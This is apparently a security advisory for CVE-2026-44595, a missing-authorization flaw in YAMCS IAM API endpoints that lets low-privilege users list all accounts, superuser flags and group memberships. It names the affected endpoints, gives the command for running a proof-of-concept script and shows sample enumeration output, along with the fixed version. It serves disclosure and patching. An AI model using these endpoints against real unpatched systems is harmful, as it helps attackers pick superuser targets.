
# CVE-2026-44595 YAMCS Unauthorized User Enumeration via IAM API
The IAM API endpoints (listUsers, getUser, listGroups, getGroup) in yamcs-core do not enforce the required SystemPrivilege.ControlAccess check. Any authenticated user — even one with no privileges — can enumerate all user accounts, superuser status, and group memberships.
| Field | Value |
|---|---|
| CVE | CVE-2026-44595 |
| Severity | MEDIUM (CVSS 4.3) |
| CWE | CWE-862: Missing Authorization |
| Affected | yamcs-core < 5.12.7 |
| Fixed in | yamcs-core 5.12.7 |
| Advisory | GHSA-p2rj-mrmc-9w29 |
The following endpoints are missing the SystemPrivilege.ControlAccess authorization check:
GET /api/iam/users — lists all usersGET /api/iam/users/{name} — gets user detailsGET /api/iam/groups — lists all groupsGET /api/iam/groups/{name} — gets group detailsA low-privilege user can call these endpoints and retrieve all usernames, superuser flags, group memberships, and identity provider information.
pip install requests
python3 poc.py http://localhost:8090 testuser testpassword
Expected output on vulnerable instance:
[2] Listing ALL users (IAM endpoint)...
Status: HTTP 200
[!!!] VULNERABLE: 3 users enumerated
-> admin [SUPERUSER]
-> operator [regular]
-> testuser [regular]
An attacker with any valid account can map the entire user structure of the YAMCS instance — identifying superuser accounts for targeted attacks, enumerating operator accounts, and understanding group-based access controls.
Upgrade to yamcs-core >= 5.12.7.
| Date | Event |
|---|---|
| 2026-05 | Vulnerability reported |
| 2026-05-27 | Fix released in yamcs-core 5.12.7 |
| 2026-05-27 | Public advisory published |
Daniel Miranda Barcelona (Excal1bur)